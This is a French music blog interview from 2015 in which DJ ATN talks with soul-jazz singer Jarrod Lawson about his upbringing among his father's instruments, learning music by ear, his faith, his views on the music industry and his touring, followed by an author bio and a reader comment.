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Interviews

20 octobre 2015

JARROD LAWSON – INTERVIEW de l’ovni nu-soul autodidacte

A l’occasion de son concert au New Morning en Avril dernier, FonkATN (DJ ATN) a rencontré en toute intimité le nouveau prodige Soul-Jazz-Funk, Jarrod LAWSON pour une interview passionnante. Fonkadelica vous offre ce moment pour en savoir davantage sur cet artiste en devenir prometteur… Sachez qu’il revient en concert au New Morning de Paris ce 27 Octobre 2015, et Fonka vous fait gagner vos places !

Jarrod, d’où venez-vous ?

JL : Je viens de Portland dans l’Oregon, c’est au nord de la Californie.

Que pouvez-nous nous dire de votre enfance et de ce qui vous a mené à la musique ?

JL : Tout a commencé par mon père. Il était musicien… je parle de lui au passé alors qu’il est toujours vivant ! Il a la soixantaine, mais il ne fait plus beaucoup de musique. Mes premiers souvenirs d’enfant sont dans le studio d’enregistrement de mon père, ce qui correspondait à notre maison à l’époque ! C’est là qu’on vivait. J’ai grandi au milieu d’instruments, au rythme des enregistrements qui se faisaient chez nous. J’ai commencé à jouer de la batterie dès l’âge de deux ans parce que c’était l’instrument qui restait toujours là, accessible.

Vous touchiez à tout ce qui pouvait traîner, votre père était-il  multi instrumentiste ?

JL : Oui il jouait de la batterie, des claviers, de la guitare et il chantait également. C’est finalement ce que je fais aussi, je poursuis la tradition. Il faut savoir aussi qu’à l’âge de huit ans, nous avons déménagé de la Californie, où je suis né, pour l’Oregon, dans un endroit au milieu de nulle part. J’étais très isolé sans amis à proximité, la maison la plus proche était à 2 km. On peut dire que j’étais forcé de passer le temps et de m’amuser par moi-même. C’est pour cela que je tournais beaucoup autour de la collection de vinyles de mon père…

Qu’est-ce qu’on pouvait trouver dans cette collection ?

JL : C’était très varié mais évidemment j’y ai trouvé plein de vieux albums de Soul, de Sam Cooke, Donny Hathaway, Stevie Wonder, Aretha Franklin, Etta James,…

Quel genre de musique faisait votre père ?

JL : Il était très porté sur la Soul, mais un peu plus influencé par le côté Rock des choses tout de même.

Comme il venait de Californie, sa musique s’apparentait-elle à de l’AOR ou à de la Blue Eyed Soul, particulièrement populaire fin 70 et début 80 là-bas ?

JL : Oui tout à fait, il jouait même en 1ère partie de groupes comme Les Doobie Brothers. Je me souviens aussi qu’il me racontait les soirées auxquelles il allait avec Les Rolling Stones. Il fréquentait vraiment les bonne personnes. D’ailleurs il devait signer chez Elektra.

Peut-on trouver des albums de votre père ?

JL : Non malheureusement. En fait il était sur le point de signer un contrat chez Elektra mais au moment de conclure, mon père s’est dit qu’il ne le sentait plus et n’a pas voulu sauter le pas. Signer chez une major, le star system, ce n’était pas pour lui. Cela impliquait de renoncer à une certaine liberté artistique et surtout cela aurait été une vie qui n’était pas compatible avec la vie de famille, ni avec les valeurs auxquelles ils tenaient. Donc non pas d’albums officiels de mon père, mais nous avons des archives familiales et des traces de nombreux enregistrements heureusement. D’ailleurs j’aimerai reprendre certaines de ses chansons, peut-être dans mon prochain album.

Vous avez joué très tôt de nombreux instruments, comment êtes-vous arrivé au chant ?

JL : J’ai toujours chanté dès mon plus jeune âge. Mes parents pouvaient m’entendre chanter tout le temps et cela leur permettait de me repérer dans la maison ! S’ils se demandaient ce que je fabriquais, ils n’avaient qu’à suivre le son de ma voix. J’ai donc toujours eu un penchant pour le chant. Dès mon entrée à l’école, j’étais inscrit à des chorales mais je n’ai pas pris sérieusement mes capacités de chanteur avant le lycée. A ce moment là, ma voix avait mûri et je me suis rendu compte que peut-être j’avais de véritables qualités vocales et qu’elles méritaient que je les développe.

J’imagine que votre entourage (amis, professeurs) vous ont incité à persévérer dans cette voi(x)e ?

JL : Oui c’est vrai. Il y avait de nombreux concours nationaux de chorales lorsque j’étais au lycée. Les enjeux y étaient importants et remporter les prix était très gratifiant. A cette même période j’ai commencé à explorer l’interaction entre mon jeu au piano et ma voix. Il m’a fallu travailler dur pour développer mes capacités à faire les deux simultanément.

Comment votre carrière a-t-elle démarré professionnellement ?

JL : Mon père était musicien comme je vous l’expliquez et je me souviens de la toute première fois où il m’amena à un de ses concerts, je devais avoir 13 ans. C’était dans une petit salle à l’ambiance intimiste, un peu comme ici, au New Morning, mais bien plus petit, vous savez un de ces clubs de jazz enfumés. Il avait pu me faire rentrer même si je n’avais pas l’âge légal en me gardant dans la loge, tout près de la scène. A l’entre deux sets il m’a dit : « Pourquoi tu ne monterais pas pour chanter quelque chose ? ». C’est amusant car à l’époque, bien qu’à fond dans la Soul, j’étais quand même assez orienté jazz et j’étais complètement fan d’Harry Connick Jr. Ce dernier avait fait un super arrangement du standard « Stardust » de Hoagy Carmichael que j’avais appris. Alors c’est ce que j’ai fait, j’ai repris ce morceau et le public est devenu dingue ! C’était la première fois que je me présentais devant des gens ainsi, et leur réaction m’a fait prendre conscience que ma voix plaisait. C’est tout de même bien des années plus tard que j’ai démarré cette activité professionnellement dans la région de Portland et commencé à en vivre. Je suis passé d’abord par The Clark Community College puis l’Université d’Etat de Portland où s’inscrivaient de nombreux étudiants en musique. C’est là que j’ai rencontré la nouvelle génération de musiciens de Portland. On a appris et émergé tous ensemble. C’est pourquoi je connais un peu tout le monde de cette incroyable scène Soul et Jazz locale.

Etes-vous passé par une école de musique ?

JL : Non, pas spécialement. J’ai pourtant bien essayé d’étudier la musique mais çà n’a pas très bien marché pour moi. J’avais trop de mal avec la théorie, çà ne me parlait pas du tout. Je conçois la musique de manière très différente, de façon plus instinctive et sensorielle. Vous savez, je joue à l’oreille et je me soucie surtout de suivre mes oreilles plutôt que de regarder un bout de papier qui me dirait comment la musique devrait être jouée.

Avez-vous appris à lire la musique par la suite ?

JL : Non je ne sais toujours pas même si je peux déchiffrer les accords. Je sais jouer les accords et improviser dessus. Mais si vous me donnez une partition de musique classique, je n’ai aucune idée de ce qu’il faut faire.

Comment travaillez-vous dans ce cas là avec les autres musiciens, d’autant que vous êtes responsable de la plupart des arrangements sur votre album ?

JL : Oui cela peut être difficile parfois, surtout avec les cuivres. Quand on a enregistré le morceau « Sleepwalkers » notamment, il y a de la flûte et du bugle dont les arrangements sont plutôt fournis avec 5 ou 6 pistes à certains moments. Pour préparer cela, j’ai eu recours un petit enregistreur sur lequel j’ai enregistré au piano toutes les parties que j’avais en tête une par une. Ainsi j’ai pu dire et faire écouter à mes musiciens ce qu’ils devaient jouer exactement.

De quel(s) autre(s) instrument(s) jouez-vous ?

JL : Je joue beaucoup de lignes de basse au clavier avec ma main gauche quand je suis chez moi ou souvent lorsque je joue en trio et qu’il n’y a qu’un guitariste et un batteur. Je pense véritablement comme un bassiste et bien évidemment j’écris la majorité des lignes de basse de ma musique aussi.

Votre bassiste préféré ?

JL : Jaco Pastorius

Votre pianiste préféré ?

JL : Il y en a tellement… Herbie et Chick ! Et Errol Garner qui est mon musicien de jazz favori.

Quelle est l’importance de la Spiritualité, de Dieu dans votre musique ?

JL : Cela a toujours tenu une grande place dans ma vie et ma musique. J’ai grandi dans un foyer très chrétien. Je suis une personne très ouverte d’esprit et le concept que j’ai de Dieu évolue en permanence, quelle que soit sa forme. Ma foi est forte mais je reste perméable à de nouvelles idées et à d’autres manières de voir les choses. Je reste ouvert au dialogue et je suis curieux. Si de nouvelles idées me parlent je les accueille et les intègre dans mon esprit. Mais oui Dieu a toujours fait partie de moi. Je me sens reconnaissant envers lui pour  l’opportunité qu’il m’a donnée dans cette vie. Je l’estime à sa juste valeur car elle est rare et je ne veux pas la gâcher. C’est un don qui m’a été donné que de pouvoir communiquer et partager des messages à travers le monde entier. Je crois que nos talents viennent de Dieu et sont autant de dons qu’ils nous faut partager avec les autres.

Que pensez-vous de l’Industrie de la Musique de nos jours, le marketing, la tendance électronique mainstream ? Quelle est votre place dans ce monde ?

JL : Je trouve ma place au fur et mesure que j’avance. Je crois d’une certaine manière que mon public me dit où est ma place. Non pas que je le laisse déterminer à ma place mais n’oublions pas que nous jouons pour lui. Je fais de la musique pour moi évidemment mais pour le public aussi forcément. Quand on voit la tournure qu’a pris l’Industrie musicale, je mets un point d’honneur à me différencier de ce qui se fait majoritairement. Ma musique, telle que j’essaye de la faire, va à l’encontre des tendances actuelles, trop formatées et homogénéisées. Tout sonne pareil, les productions sont ultra compressées et les chanteurs sont quasiment tous auto-tunés. Je suis tellement lassé d’entendre les radios généralistes, lassé de savoir qu’une élite décide de tout ce qui est nouveau et doit être écouté massivement. Je craignais qu’à notre époque, où tout le monde semble gober une musique insipide, qui n’exprime rien et qui n’élève en rien, mon album passe inaperçu. Il est finalement rassurant de voir que de plus en plus de gens à travers le monde rejette ce modèle et montre de l’intérêt pour des choses différentes.

Comment vous-voyez-vous évoluer ?

JL : Je pense que dans une certaine mesure je resterai plutôt indépendant. J’aimerais multiplier les collaborations avec d’autres artistes. Il y en a tellement de haut niveau que j’aimerai approcher, d’autres aussi pas forcément encore connus mais tellement prometteurs. Je suis archi fan d’Erykah Badu mais aussi du groupe Moonchild (nouveaux arrivés chez Thru Thoughts). Je me vois avancer dans ces directions, Soul, Jazz et Funk, mais aussi pourquoi pas faire quelques incursions dans la musique House que j’adore. En tous cas, je crois aussi que j’ai de bonnes aptitudes pour produire d’autres artistes, j’en ai très envie. 

Vous aimez vous produire sur scène, être en tournée ?

JL : Oui j’adore çà, rencontrer le plus de personnes possible et ressentir l’effet que ma musique déclenche chez eux. C’est important pour moi de savoir qu’elle touche et émeut les gens, qu’elle peut les faire pleurer comme se sentir bien. C’est quelque chose de tellement intense quand quelqu’un vient vous témoigner à quel point votre musique est importante pour eux. Parfois, je n’en reviens pas quand une personne fait 1000 km pour venir me voir en concert. Je me sens très humble et ne voudrait surtout pas la décevoir.

>> Site officiel

>> Chronique de l’album

Vous trouverez plusieurs videos du concert sur Utube …

[youtube https://www.youtube.com/watch?v=NeeVR-1EFas]

[youtube https://www.youtube.com/watch?v=Y6kl1FiDTQE]

[youtube https://www.youtube.com/watch?v=ovmqNeTJvCI]

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About the Author

FonkATN
ATN est un DJ « gastronome musical » qui propose depuis plusieurs années des sets aux saveurs Soul Food, Disco Funk Dishes et Jazz Flavors pimentés de Grooves Electro. C'est à la qualité de ses sets qu'on reconnaît une soirée très "sélecte". Intégriste du Funk et suppôt de la Soul, DJ ATN est surtout un digger invétéré de tous les grooves, résident du New Morning et nouveau membre du collectif "Jazz Attitudes". Il est en plus un organisateur de soirées/concerts à surveiller (Kind of New, Soul/Brazilian Successions au New Morning) et un selector pour des compilations (Brazilian Funk Affair). Il se lance enfin dans la production musicale de remixes en collaboration avec les talentueux producteurs/arrangeurs Alex FINKIN (Aloe BLACC, HAIR, Vega Records) et YOUNG PULSE (JURIS, GAMM Records). En plus, il écrit aussi pour Fonkadelica.com !




 
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15 Comments


  1. Merci à vous pour cette belle interview d’un artiste qui m’était encore inconnu il y a quelques mois. Je crois qu’il faudrait en profiter pour mettre un lien vers le warmup et aftershow de DJ ATN lors du dernier concert de Jarrod Lawson. Un des meilleurs mixes soul / new soul qu’il m’a été offert d’écouter. Superbe! https://www.mixcloud.com/etienne-atn-dupuy/jarrod-lawson-warmupaftershow-sets-by-atn-new-morning-08-04-15/



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